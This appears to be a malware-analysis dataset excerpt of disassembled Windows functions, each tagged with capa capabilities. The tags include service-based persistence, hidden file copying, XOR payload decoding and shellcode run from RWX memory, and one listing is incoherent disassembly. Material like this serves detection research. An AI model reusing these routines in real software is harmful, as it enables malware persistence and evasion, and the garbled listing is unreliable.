joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4048ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491ef8], 0
jne 0x40492a
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x404821
push eax
push closesocket
call fcn.00404586
add esp, 0x18
jmp 0x404966
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491ae8
call fcn.004073c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x40478d
push eax
push closesocket
call fcn.00404604
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491efc], eax
jne 0x404a47
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str.F:4_
push eax
call fcn.004073c0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.004074b0
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c61c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073c0
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a24
inc esi
cmp esi, 0xa
jl 0x40498b
lea eax, [ebp - 0x18]
push eax
push 0x4919e4
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
push 0x491bec
call fcn.004073c0
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b9c
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bd7
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bd7
cmp byte [ecx + 1], 0x5a
jne 0x404bd7
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bd7
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4053e8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004046ab
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491df4
call fcn.00407360
push esi
push edi
push 0x491cf0
call fcn.00407360
push esi
push edi
push 0x491bec
call fcn.00407360
push esi
push edi
push 0x491ae8
call fcn.00407360
push esi
push edi
push 0x4919e4
call fcn.00407360
add esp, 0x40
push 0x40e0d0
push 0x1f16
push 0x40e0d4
call fcn.00403529
push 0x491f00
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491f08], edi
mov dword [0x491ef8], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4054a8
cmp dword [ebp - 0x8c], ebx
jne 0x4054a8
mov dword [0x491f08], ebx
call fcn.004048ef
mov esi, 0x7d000
push esi
call fcn.00407bff
cmp eax, edi
pop ecx
mov dword [0x4919e0], eax
jne 0x4054c6
xor eax, eax
jmp 0x4054ea
push esi
push edi
push eax
call fcn.00407360
call fcn.004055a8
push ebx
push str.N____
call fcn.00403434
push eax
push edi
call fcn.0040530f
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a8
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x40fb6f
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.L_:
je 0x40560d
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491f10], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491f0c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f14], eax
push 3
push 0x40fb6f
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405637
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f18], eax
mov edi, 0x40fda4
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405658
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491f1c], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4058ed
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x4059b1
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.0040752b
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.004071e0
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x4059b5
call fcn.00401808
xor eax, eax
jmp 0x405a09
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040785b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046d7
pop ecx
test eax, eax
pop ecx
je 0x405a07
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405ee4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push str.vznJ
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044e4
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ca4
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.0040773e
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f8e
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f8e
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e8c
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405f48
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2034
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491bec
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1f2a
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491ef8], ebx
mov edi, 0x4919e4
je 0x406964
push esi
push edi
push 0x491ae8
push closesocket
call fcn.00404540
push 1
push 0x40fb6f
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.L_:
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491ef8], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491f00], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2034
ret
Function at 0x40494f
Capabilities:
Encode data using xor

Disassembly:
mov ebp, eax
or al, 0x5d
and dword [eax + eax], eax
nop
nop
push ebp
mov esp, edi
mov ecx, dword [ebp + 8]
mov ecx, ecx
or al, 0x89
inc ecx
neg dword [ebp - 0x3e]
or byte [eax], al
push ebp
mov ebx, dword [ecx - 0x74f75002]
inc eax
adc byte [ebp - 0x3e], bl
xor eax, dword [eax]
invalid
leave
mov byte [0x4102d8], al
daa
cmp dh, byte [eax + 0x6800009e]
loopne 0x404916
inc ecx
add byte [ebx + ecx - 0x7a000001], cl
sal byte [esp + ecx - 0x3a], 0x9b
fadd dword [edx]
inc ecx
add byte [eax], al
pop esi
mov esp, ebp
pop ebp
jne 0x4049e0
adc eax, 0xf72ce0
push edx
verw word [edx]
push 0x41fe0c
retf
call 0xfb4ea1e0
sbb al, 0xc0
jne 0x404a0d
mov edi, dword [edi - 4]
mov eax, dword [0xa102e0]
push edx
push eax
call 0x81404900
mov ecx, dword [0x41f6dc]
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
loopne 0x404a04
inc ecx
add byte [ecx + 0x52], dl
push ecx
push edx
call fcn.00404912
push ebx
rcr byte [esi - 0x75], 0x38
pop esi
mov edi, dword [eax]
pop ebp
ret
Function at 0x4116d4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x47e0e0], 0
push esi
push edi
jne 0x41164a
call fcn.004115b6
test eax, eax
je 0x41168f
mov eax, dword [0x47e0e0]
cmp eax, 1
jne 0x41166b
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x41168f
jmp 0x4116d1
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x4116d1
push reloc.winhttp.dll_WinHttpCrackUrl
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x411693
xor eax, eax
jmp 0x4116d1
mov eax, dword [esi]
push dword [0x47e0e0]
call edi
mov edi, eax
test edi, edi
je 0x4116b5
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x4116d1
lea edi, [esi + 0xff0]
push esi
push dword [0x47e0e0]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x4116bb
mov eax, esi
pop edi
pop esi
ret
jmp 0x411636

Function at 0x411a01
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47c084]
jne 0x411a0b
repz ret
jmp fcn.00414c92
Function at 0x43eec2
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 0x5a
mov dword [ebp - 4], reloc.winhttp.dll_WinHttpCrackUrl
mov dword [ebp - 8], 0x51
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
shl eax, 4
sub ecx, eax
mov eax, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 4]
push 0x53
pop ecx
sub ecx, eax
add ecx, dword [ebp - 8]
push 0x14
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 8]
imul eax, eax, 7
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
imul eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
pop ecx
push dword [ebp + 0xc]
sub ecx, eax
add ecx, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 4]
imul eax, eax, 0x59
imul ecx, edx
add eax, ecx
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
leave
ret 8

Function at 0x43f0b5
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push eax
push 4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
pop ebp
ret 4

Function at 0x43f1a7
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov dword [ebp - 4], 0x58
mov dword [ebp - 8], 0x35
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
imul eax, eax, 0x13
sub ecx, eax
mov eax, dword [ebp - 4]
sub ecx, eax
mov eax, dword [ebp - 4]
sub ecx, eax
mov eax, dword [ebp - 4]
sub ecx, eax
add ecx, dword [ebp - 8]
push 0
push dword [ebp + 8]
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
leave
ret 4

Function at 0x43f1e9
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov dword [ebp - 4], 0x54
mov dword [ebp - 8], 0x46
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
imul eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
imul eax, ecx
mov ecx, dword [ebp - 8]
imul eax, eax, 0x19
mov edx, dword [ebp - 4]
imul ecx, edx
imul ecx, ecx, 0x13
sub eax, ecx
add eax, dword [ebp - 4]
push 0x77
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ecx
sub ecx, eax
mov eax, dword [ebp - 8]
sub ecx, eax
add ecx, dword [ebp - 4]
push 0x3a
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 8]
cdq
pop ecx
idiv ecx
push dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
imul eax, ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
leave
ret 4
Function at 0x405d12
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x405d21
pop dword [ebp - 0x4c]
mov eax, 0x68d42cab
add eax, 0x976c3076
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xcd0d4c6c
sub dword [ebp - 0x5c], 0x7ebb0721
mov dword [ebp - 0x58], 0xd6bec0e
sub dword [ebp - 0x58], 0xdb389fc9
mov dword [ebp - 0x54], 0x9c70f4ba
sub dword [ebp - 0x54], 0x5024b08c
mov dword [ebp - 0x50], 0x154b9235
sub dword [ebp - 0x50], 0x154b9235
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xe63f8962
add dword [ebp - 0x5c], 0x8e32dff4
mov dword [ebp - 0x58], 0x42439361
sub dword [ebp - 0x58], 0xd731ec
mov dword [ebp - 0x54], 0x54dc64d5
add dword [ebp - 0x54], 0xe930797
mov dword [ebp - 0x50], 0x9ebb673c
add dword [ebp - 0x50], 0x614498c4
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x2f4d1613
sub eax, 0x2f0975db
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3ea87
push 0
call eax
mov ecx, 0xd0dd24b1
sub ecx, 0xd0dcdaba
mov edi, eax
mov esi, 0x60936bac
add esi, 0x9fb20e54
add esi, dword [ebp - 0x4c]
mov ebx, 0x46688a58
add ebx, 0x468716cd
sub dword [ebp - 0x20], 0xf775d6f
mov edx, dword [esi]
xor dword [ebp - 0x48], esi
sub edx, ebx
xor dword [ebp - 0x48], 0x246a1076
mov dword [edi], edx
add dword [ebp - 0x38], eax
add edi, 4
add esi, 4
loop 0x405e3e
add eax, 0x4d2496c7
add eax, 0xb2dc83e8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xc1192450
add ecx, 0x3f26dbb0
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x412d00
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x412eaa
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 0x4d
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x2c
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x64
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x40
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x50
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x60
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x89
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x16
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xe5
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x67
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x5d
add esp, 0x40
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x21
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xcc
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x44
push str.Protocol_of_Mind
push 0x512be0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xed
add esp, 0x30
inc esi
cmp esi, edi
jb 0x412d20
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x451ba9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x451bba
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405907
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49b052
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49b063
pop esi
ret
push ebx
push edi
push esi
call fcn.0049af39
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fda
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49b08b
push ebx
push esi
push edi
call fcn.004056fa
add esp, 0xc
push 0
call fcn.00406244
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x405c82
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
sub esp, 0x120
xor eax, eax
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi + 0x228]
mov word [edi], ax
cmp byte [esi + 0x435], al
je 0x405ca8
xor al, al
jmp 0x405e67
call fcn.00403b0b
mov ebp, dword [esp + 0x134]
xor ebx, ebx
push 1
push ebx
push ebx
movzx eax, word [ebp]
push 6
push 1
push eax
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x405ce4
push str.socket_create_failed
mov edx, 0xff
mov ecx, edi
call fcn.00403e49
jmp 0x405ca1
lea eax, [esi + 0x440]
cmp dword [eax], ebx
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
jbe 0x405d06
push 4
push eax
push 0x1005
push 0xffff
push dword [esi + 8]
call ebx
lea eax, [esi + 0x444]
cmp dword [eax], 0
jbe 0x405d23
push 4
push eax
push 0x1006
push 0xffff
push dword [esi + 8]
call ebx
push 4
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x100000
push eax
push 0x1002
push 0xffff
push dword [esi + 8]
mov dword [esp + 0x2c], 0x40000
call ebx
push 4
lea eax, [esp + 0x1c]
push eax
push 0x1001
push 0xffff
push dword [esi + 8]
call ebx
push 4
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 1
push eax
push 8
push 0xffff
push dword [esi + 8]
call ebx
mov eax, dword [esi]
xor ebx, ebx
inc ebx
mov ecx, esi
push ebx
call dword [eax + 0x1c]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], ebx
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
push eax
push 0x8004667e
push dword [esi + 8]
call ebx
xor eax, eax
cmp word [ebp], 0x17
push eax
push eax
push eax
push eax
push 0x10
pop eax
push 0x1c
pop ecx
cmove eax, ecx
push eax
push ebp
push dword [esi + 8]
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x405e51
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x405e19
mov ecx, dword [esi + 8]
xor edx, edx
mov eax, dword [esp + 0x138]
mov dword [esp + 0x2c], ecx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [esp + 0x28], 1
mov dword [esp + 0x20], eax
imul eax, edx, 0x3e8
mov dword [esp + 0x24], eax
lea eax, [esp + 0x20]
push eax
push ecx
lea eax, [esp + 0x30]
push eax
push ecx
push ecx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x405e51
mov ecx, esi
call fcn.00403b0b
push str.connect_failed
mov edx, 0xff
mov ecx, edi
call fcn.00403e49
lea eax, [esi + 0x28]
push eax
push str._s_direct_connect_failed
push str.Socket
push 0x4b9590
call fcn.0044574b
add esp, 0x10
jmp 0x405ca1
and dword [esp + 0x10], 0
lea ecx, [esp + 0x10]
push ecx
push 0x8004667e
push dword [esi + 8]
call ebx
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret 0xc
Function at 0x40efcb
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x4bb668]
sub esp, 0x604
push ebx
push esi
push edi
test eax, eax
jne 0x40effd
push 0x45f8cc
push 0x200000
call fcn.0041ae2d
mov dword [0x4bb668], eax
pop ecx
pop ecx
test eax, eax
je 0x40f002
xor ecx, ecx
mov word [eax], cx
xor ebx, ebx
cmp dword [0x4c6f1c], ebx
jne 0x40f024
push 4
push 0x3000
push 0x22000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4c6f1c], eax
push dword [0x4ba0c0]
mov dword [0x4c6f20], ebx
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, 0x4ba0bc
mov ecx, esi
call fcn.00403f78
push 0x470070
mov ecx, esi
call fcn.00403846
push dword [0x4ba0c0]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 0xffffffff
jne 0x40f075
push ebx
push dword [0x4ba0c0]
call esi
push str.Crashes
mov ecx, 0x4ba0bc
call fcn.00403846
push dword [0x4ba0c0]
call edi
cmp eax, 0xffffffff
jne 0x40f09a
push ebx
push dword [0x4ba0c0]
call esi
push str.MT5WEBSETUP
mov ecx, 0x4ba2d4
call fcn.0040349c
push str.MetaTrader_Web_Setup
mov ecx, 0x4ba4ec
call fcn.0040349c
mov eax, 0xe58
mov dword [0x4bb600], 0x1f4
mov dword [0x4bb604], eax
mov ecx, 0x4ba704
mov dword [0x4bb608], 0x2834
push ebx
mov dword [0x4c6f50], eax
call fcn.0040349c
mov eax, dword [0x4bb660]
or eax, dword [0x4bb664]
jne 0x40f105
push ebx
call fcn.0042a818
pop ecx
mov dword [0x4bb660], eax
mov dword [0x4bb664], edx
push str.07_Apr_2023
mov ecx, 0x4bb60c
call fcn.0040349c
mov edi, 0x4baf64
mov ecx, edi
call fcn.00401b89
test al, al
je 0x40f1ed
push 0x200
lea eax, [esp + 0x14]
push ebx
push eax
call fcn.0041cce0
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [esp + 0x1c]
add esp, 0xc
push 0x100
push eax
push str.CLIENTNAME
call esi
test eax, eax
jne 0x40f16b
push 0x100
lea eax, [esp + 0x14]
push eax
push str.COMPUTERNAME
call esi
test eax, eax
je 0x40f1a4
lea eax, [esp + 0x10]
mov ecx, edi
push eax
call fcn.0040349c
push 0x100
lea eax, [esp + 0x14]
push eax
push str.USERDOMAIN
call esi
test eax, eax
je 0x40f1a4
push 0x46cfb0
mov ecx, edi
call fcn.00403846
lea eax, [esp + 0x10]
mov ecx, edi
push eax
call fcn.00403846
push 0x100
push 0x1fe
lea eax, [esp + 0x18]
mov edx, str.SOFTWAREMetaQuotes_SoftwareSettings
push eax
push str.MQL5.Login
mov ecx, closesocket
call fcn.00403dd1
add esp, 0x10
test al, al
je 0x40f1ed
cmp word [esp + 0x10], bx
je 0x40f1ed
push str._for
mov ecx, edi
call fcn.00403846
lea eax, [esp + 0x10]
mov ecx, edi
push eax
call fcn.00403846
mov esi, 0x400
lea eax, [esp + 0x210]
push esi
push ebx
push eax
call fcn.0041cce0
pop ecx
pop ecx
lea ecx, [esp + 0x214]
call fcn.0040ee38
lea eax, [esp + 0x210]
mov ecx, 0x4bb17c
push eax
call fcn.0040349c
lea eax, [esp + 0x210]
mov byte [eax], bl
inc eax
sub esi, 1
jne 0x40f228
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20